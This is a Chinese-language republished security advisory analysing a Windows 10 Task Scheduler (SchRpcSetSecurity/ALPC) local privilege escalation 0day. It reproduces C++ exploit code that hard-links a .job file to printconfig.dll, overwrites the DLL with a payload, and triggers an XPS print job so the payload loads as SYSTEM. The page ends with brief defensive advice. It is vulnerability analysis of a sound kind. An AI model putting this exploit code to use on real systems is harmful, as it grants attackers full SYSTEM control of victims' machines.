返回顶部
首页 > 资讯 > 操作系统 >win10本地提权0day预警实例分析
  • 377
分享到

win10本地提权0day预警实例分析

2023-06-19 12:06:20 377人浏览 薄情痞子
摘要

这篇文章跟大家分析一下“win10本地提权0day预警实例分析”。内容详细易懂,对“win10本地提权0day预警实例分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“win10

这篇文章跟大家分析一下“win10本地提权0day预警实例分析”。内容详细易懂,对“win10本地提权0day预警实例分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“win10本地提权0day预警实例分析”的知识吧。

0x00 漏洞背景

win10中任务调度服务导出的函数没有验证调用者的权限,任意权限的用户调用该函数可以获取系统敏感文件的写权限,进而提权。

0x01 漏洞影响

漏洞影响win10和windows server 2016。目前发布的EXP暂时只能用于x64系统。

0x02 漏洞详情

win10系统Task Scheduler任务调度服务中ALPC调用接口导出了SchrpcSetSecurity函数,该函数能够对一个任务或者文件夹设置安全描述符。

 HRESULT SchRpcSetSecurity(
  [in, string] const wchar_t* path,
  [in, string] const wchar_t* sddl,
  [in] DWord flags
);

该服务是通过svchost的服务组netsvcs所启动的,对应的dll是schedsvc.dll。

win10本地提权0day预警实例分析

win10本地提权0day预警实例分析

win10本地提权0day预警实例分析

在xp系统中,任务存放在C:\Windows\Tasks目录,后缀为.job;而win7及以后的版本任务以xml的格式存放在C:\Windows\System32\Tasks目录。

win10本地提权0day预警实例分析

可能是为了兼容的考虑,SchRpcSetSecurity函数在win10中仍然会检测C:\Windows\Tasks目录下是否存在后缀为.job的文件,如果存在则会写入DACL数据。如果将job文件硬链接到特定的dll那么特定的dll就会被写入DACL数据,本来普通用户对特定的dll只具有读权限,这样就具有了写权限,接下来向dll写入漏洞利用代码并启动相应的程序就获得了提权。

那么首先需要找到一个普通用户具有读权限而系统具有写入DACL权限的dll,EXP中用的是C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_4592475aca2acf83\Amd64\printconfig.dll,然后将C:\Windows\Tasks\UpdateTask.job硬链接到这个dll。

    WIN32_FIND_DATA FindFileData;
   HANDLE hFind;
   hFind = FindFirstFile(L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64*", &FindFileData);
   wchar_t BeginPath[MAX_PATH] = L"c:\\windows\\system32\\DriverStore\\FileRepository\\";
   wchar_t PrinterDriverFolder[MAX_PATH];
   wchar_t EndPath[23] = L"\\Amd64\\PrintConfig.dll";
   wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName));
   FindClose(hFind);
   wcscat(BeginPath, PrinterDriverFolder);
   wcscat(BeginPath, EndPath);

   //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of
   CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", BeginPath);

在调用SchRpcSetSecurity函数使普通用户成功获取了对该dll写入的权限之后写入资源文件中的exploit.dll。

    //Must be name of final DLL.. might be better ways to grab the handle
   HMODULE mod = GetModuleHandle(L"ALPC-TaskSched-LPE");

   //Payload is included as a resource, you need to modify this resource accordingly.
   HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
   unsigned int myResourceSize = ::SizeofResource(mod, myResource);
   HGLOBAL myResourceData = ::LoadResource(mod, myResource);
   void* pMyBinaryData = ::LockResource(myResourceData);

   //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue
   HANDLE hFile;
   DWORD dwBytesWritten = 0;
   do {
       hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);                  
       WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL);          
       if (hFile == INVALID_HANDLE_VALUE)
       {
           Sleep(5000);
       }
   } while (hFile == INVALID_HANDLE_VALUE);
   CloseHandle(hFile);

printconfig.dll和系统打印相关,并且没有被print spooler服务默认启动。所以随后调用StartXpsPrintJob开始一个XPS打印。

    //After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service.
   CoInitialize(nullptr);
   IXpsOMObjectFactory *xpsFactory = NULL;
   CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast<LPVOID*>(&xpsFactory));
   HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   IXpsPrintJob *job = NULL;
   IXpsPrintJobStream *jobStream = NULL;
   StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
   jobStream->Close();
   CoUninitialize();
   return 0;

整个漏洞利用程序编译出来是个dll,把它注入到notepad中运行,发现spoolsv.exe创建的notepad已经具有SYSTEM权限,而系统中的printconfig.dll也被修改成了资源文件中的exploit.dll。

win10本地提权0day预警实例分析

win10本地提权0day预警实例分析

0x03 防御措施

建议用户安装360安全卫士等终端防御软件拦截利用此类漏洞的攻击,不要打开来源不明的程序。

关于win10本地提权0day预警实例分析就分享到这里啦,希望上述内容能够让大家有所提升。如果想要学习更多知识,请大家多多留意小编的更新。谢谢大家关注一下编程网网站!

--结束END--

本文标题: win10本地提权0day预警实例分析

本文链接: https://lsjlt.com/news/295936.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • win10本地提权0day预警实例分析
    这篇文章跟大家分析一下“win10本地提权0day预警实例分析”。内容详细易懂,对“win10本地提权0day预警实例分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“win10...
    99+
    2023-06-19
  • Linux中本地提权和EXP利用的示例分析
    这篇文章主要介绍Linux中本地提权和EXP利用的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)&...
    99+
    2023-06-13
  • Apple XNU内核缓冲区溢出预警实例分析
    这篇文章给大家介绍Apple XNU内核缓冲区溢出预警实例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x00 事件背景2018-10-31 lgtm团队的Kevin Backhouse在lgtm bl...
    99+
    2023-06-19
  • Linux包管理器snap本地提权漏洞分析
    本篇内容主要讲解“Linux包管理器snap本地提权漏洞分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux包管理器snap本地提权漏洞分析”吧!0x00 漏洞背景snap是一...
    99+
    2023-06-19
  • html本地数据库实例分析
    今天小编给大家分享一下html本地数据库实例分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下...
    99+
    2024-04-02
  • 笔记本win10安装实例分析
    这篇“笔记本win10安装实例分析”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“笔记本win10安装实例分析”文章吧。将U盘...
    99+
    2023-07-01
  • CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析
    CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析 漏洞简介 Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以syst...
    99+
    2023-08-30
    windows 网络安全
  • Android提高之SurfaceView的基本用法实例分析
    前文介绍了Android中MediaPlayer用法的时候稍微介绍了SurfaceView,SurfaceView由于可以直接从内存或者DMA等硬件接口取得图像数据,因此是个非...
    99+
    2022-06-06
    surfaceview Android
  • localStorage本地存储和sessionStorage会话存储实例分析
    这篇文章主要介绍了localStorage本地存储和sessionStorage会话存储实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇localStorage本地存储和...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作